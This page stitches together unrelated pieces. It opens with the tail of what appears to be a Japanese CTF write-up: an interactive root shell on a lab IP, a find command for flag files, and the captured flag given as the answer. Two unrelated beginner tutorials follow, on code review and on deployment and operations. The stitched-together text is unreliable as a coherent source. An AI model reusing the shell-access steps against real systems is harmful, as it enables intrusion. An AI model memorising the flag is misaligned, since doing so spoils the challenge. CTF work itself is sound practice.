http://10.10.91.38

Interactive shell is opened on http://10.10.91.38 
Can't acces tty; job crontol turned off.
$ whoami
root
```

フラグファイルを検索します。

```
$ find / -name *flag* 2>/dev/null
/flag.txt
```

`/flag.txt`からフラグを入手できます。

```/flag.txt
flag{4127d0530abf16d6d23973e3df8dbecb}
```

**A**.**flag{4127d0530abf16d6d23973e3df8dbecb}**
【コードレビュー】初心者必見！ゼロから学べる実践入門

コードレビューの目的
---
`バグの早期発見`: コードレビューを行うことで、開発者が見落としがちなバグや問題を早期に発見できます。
`コード品質の向上`: 一貫性のあるコーディングスタイルや設計パターンを維持するために、レビューを通じて改善点を指摘します。
`知識の共有`: チーム内でコードの理解を深め、技術的な知識を共有する機会を提供します。
`学習と成長`: レビューを受けることで、開発者は新しい技術やベストプラクティスを学び、スキルを向上させることができます。

効果的なコードレビューの方法
---
- レビューの目的を明確にする
コードレビューの際には、バグの検出やコードのスタイルチェックなど、目的を明確にしましょう。

- 小さな単位でレビューする
大規模な変更を一度にレビューするのは難しいため、可能な限り小さな単位でのレビューを行います。

- レビュー基準を設定する
コードレビューの基準をチームで共有し、一貫性のあるレビューを実施します。

- 建設的なフィードバックを提供する
批判的なコメントではなく、改善点や提案を具体的に示すことが重要です。

- 自動化ツールを活用する
リンターやフォーマッターなどの自動化ツールを使うことで、レビューの効率を高め、エラーを減少させます。

- コミュニケーションを大切にする
レビューの際には、意見交換を活発に行い、理解し合うことが大切です。

コードレビューでよくある課題とその解決策
---

- レビューの遅延
遅延を防ぐために、レビューの優先度を設定し、定期的にレビューを行う習慣をつけましょう。

- 個人攻撃や否定的なフィードバック
建設的なフィードバックを心がけ、個人攻撃にならないよう配慮しましょう。

- レビューの一貫性の欠如
チーム全体でレビュー基準を統一し、一貫性を持たせることが重要です。

- レビューの偏り
複数のレビュアーを設定し、さまざまな視点からの意見を得ることで、偏りを防ぎます。

まとめ
---
コードレビューはソフトウェア開発の品質を保つために欠かせないプロセスです。
効果的なレビューを行うためには、目的を明確にし、小さな単位でのレビューを心がけ、建設的なフィードバックを提供することが重要です。
【デプロイと運用】初心者必見！ゼロから学べる実践入門

デプロイとは？
---
デプロイとは、開発環境から本番環境へのソフトウェアの移行プロセスを指します。
新しいコードや機能をユーザーに提供するために必要なステップであり、システムが正常に稼働することを確認するための重要な工程です。

デプロイのプロセス
---
■ビルドとテスト
コードがリポジトリにマージされた後、ビルドとテストを自動で実行し、品質を確認します。
CI/CDツールを使用してこのプロセスを自動化することが一般的です。

■ステージング環境へのデプロイ
本番環境にリリースする前に、ステージング環境にデプロイして動作確認を行います。
ステージング環境は本番環境にできるだけ近い設定にします。

■本番環境へのデプロイ
ステージング環境で問題がなければ、本番環境にデプロイします。
デプロイの方法には、ブルー・グリーンデプロイメントやカナリアリリースなどがあります。

■デプロイ後の確認
デプロイ後にシステムが正常に動作しているかを確認し、必要な修正や調整を行います。
モニタリングツールを活用してリアルタイムでシステムの状態を監視します。

運用とは？
---
運用とは、デプロイ後のシステムを日常的に管理・維持するプロセスを指します。
システムの安定性やパフォーマンスを保つために必要な活動です。

運用の主なタスク
---
■モニタリングとアラート
システムのパフォーマンスやエラーを監視し、異常が発生した場合にはアラートを発行します。
ツールとしては、Prometheus、Grafana、Datadogなどがあります。

■バックアップとリカバリ
定期的にデータのバックアップを行い、データ損失に備えたリカバリ手順を確立します。
バックアップの頻度や保存期間を計画します。

■パッチとアップデート
ソフトウェアのセキュリティパッチやバージョンアップデートを適用し、システムのセキュリティと安定性を保ちます。

■パフォーマンスのチューニング
システムのパフォーマンスを監視し、必要に応じてチューニングを行います。これには、リソースの最適化やボトルネックの解消が含まれます。

■問題のトラブルシューティング
システムに問題が発生した場合、ログやモニタリングデータをもとに問題の原因を特定し、迅速に対応します。

ベストプラクティス
---
■CI/CDの導入
継続的インテグレーション（CI）と継続的デリバリー（CD）を導入し、コードのビルドからデプロイまでのプロセスを自動化します。
これにより、デプロイの速度と信頼性を向上させます。

■ブルー・グリーンデプロイメント
2つの本番環境（ブルーとグリーン）を用意し、切り替えを行うことで、デプロイ時のダウンタイムを最小限に抑えます。

■カナリアリリース
新しい機能を徐々にユーザーに提供し、問題がないことを確認した上で完全に展開します。これにより、リスクを分散させることができます。

■インフラのコード化
インフラをコードとして管理し、再現性のある環境構築を実現します。
ツールとしては、TerraformやAnsibleがあります。

■ドキュメントの整備
デプロイ手順や運用手順を詳細にドキュメント化し、チーム全体での情報共有を行います。
これにより、作業の標準化と効率化が図れます。

まとめ
---
デプロイは、開発環境から本番環境へのソフトウェア移行プロセスで、ビルドとテスト、ステージング、本番環境へのデプロイ、及びデプロイ後の確認が含まれます。
運用は、システムの安定性やパフォーマンスを保つためのモニタリング、バックアップ、パッチ適用、パフォーマンスチューニング、トラブルシューティングなどを行うプロセスです。
ベストプラクティスにはCI/CD導入、ブルー・グリーンデプロイメント、カナリアリリース、インフラのコード化、ドキュメント整備が含まれます。